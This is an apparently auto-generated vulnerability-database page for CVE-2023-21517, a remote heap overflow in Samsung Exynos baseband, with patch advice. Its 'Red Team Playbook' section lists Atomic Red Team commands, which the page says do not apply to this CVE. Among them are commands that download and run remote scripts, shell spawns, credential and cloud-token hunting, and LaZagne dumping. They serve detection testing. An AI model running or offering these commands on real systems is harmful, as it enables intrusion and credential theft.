CVE-2023-21517
Overview
This vulnerability is a heap out-of-bound write occurring within the Exynos baseband component of Samsung mobile devices. The root cause stems from improper bounds checking during memory operations, leading to writes beyond allocated heap buffers. This flaw affects the Exynos baseband firmware prior to the SMR June 2023 Release 1 update.
Vulnerability Description
Heap out-of-bound write vulnerability in Exynos baseband prior to SMR Jun-2023 Release 1 allows remote attacker to execute arbitrary code.
Impact
An unauthenticated remote attacker with network access to the baseband interface can exploit this vulnerability to execute arbitrary code within the baseband environment. This capability enables potential full compromise of the baseband processor, leading to unauthorized control over cellular communications and data. The attack requires no user interaction and leverages the low attack complexity (AC:L) and no privileges (PR:N) indicated by the CVSS vector, increasing the risk of exploitation in real-world scenarios.
Solution
Samsung has addressed this vulnerability in the Exynos baseband firmware with the Security Maintenance Release (SMR) June 2023 Release 1 update. Users and administrators should apply the June 2023 SMR update to affected Samsung mobile devices to remediate this issue. Detailed patch instructions and advisory information are available at Samsung's official security update portal: https://security.samsungmobile.com/securityUpdate.smsb?year=2023&month=06
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The heap out-of-bounds write vulnerability in the Exynos baseband represents a critical security flaw that can be exploited by remote attackers to execute arbitrary code. This vulnerability arises from improper handling of memory allocation and deallocation processes within the baseband processor, which is responsible for managing communication functions in mobile devices. When an application or service attempts to write data beyond the allocated memory bounds, it can lead to corruption of adjacent memory regions. This not only compromises the integrity of the application but also opens a pathway for attackers to manipulate the execution flow of the system, potentially leading to unauthorized access and control over the device.
Attack vectors for exploiting this vulnerability are particularly concerning due to the remote nature of the threat. An attacker could leverage maliciously crafted packets sent over the network to trigger the out-of-bounds write condition. Given that the baseband processor operates at a low level, it can be targeted without requiring physical access to the device. This means that even users who are unaware of the threat could fall victim to exploitation simply by using their devices in normal operational environments, such as connecting to a compromised cellular network or interacting with malicious applications. The potential for widespread exploitation is significant, especially considering the prevalence of devices utilizing Exynos chipsets in mobile technology.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on mobile devices for communication and data management. A successful exploit could lead to unauthorized data access, loss of sensitive information, and even the complete takeover of affected devices. For organizations, this translates into substantial business risks, including reputational damage, financial loss, and potential regulatory penalties for failing to protect user data. The ability to execute arbitrary code remotely means that attackers could deploy malware, conduct espionage, or disrupt services, all of which could have cascading effects on operational continuity and customer trust.
To effectively detect and mitigate this vulnerability, organizations must adopt a multi-layered security approach. Regular updates and patches from device manufacturers should be prioritized, as they often contain fixes for known vulnerabilities. Employing intrusion detection systems can help identify unusual patterns of behavior that may indicate an ongoing exploitation attempt. Additionally, implementing network segmentation can limit the impact of a successful attack by isolating critical systems from potentially compromised devices. User education is also vital; informing users about the risks associated with connecting to untrusted networks and downloading unverified applications can reduce the likelihood of exploitation.
In conclusion, the heap out-of-bounds write vulnerability in the Exynos baseband poses a significant threat to both individual users and organizations. The ability for remote attackers to execute arbitrary code underscores the need for vigilant security practices and proactive measures. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Continuous monitoring, timely updates, and user awareness are essential components of a robust cybersecurity strategy in the face of evolving threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Exynos | N/A |
cpe:2.3:h:samsung:exynos:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-21517 |
| security.samsungmobile.com |
GitHub CVE
|
https://security.samsungmobile.com/securityUpdate.smsb?year=2023&month=06 |